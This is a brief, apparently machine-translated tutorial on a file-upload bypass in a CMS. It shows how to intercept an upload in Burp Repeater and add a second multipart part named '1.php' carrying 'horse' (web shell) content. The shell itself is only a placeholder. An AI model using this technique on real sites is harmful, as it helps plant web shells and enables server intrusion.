Dual use file upload breakthrough

This vulnerability appeared on the south cms

The main use is to upload time packet capture bp 

The right mouse button and then transmits the data packet to the Repeater module

Find the package you have uploaded is generally

------61234564788

Content-Disposition: form-data; name="FileName"; filename=“1.png”

Picture content 

------61234564788--

Change

------61234564788

Content-Disposition: form-data; name="FileName"; filename=“1.png”

Picture content 

------61234564788

Content-Disposition: form-data; name="FileName1"; filename=“1.php”

Horse content

------61234564788--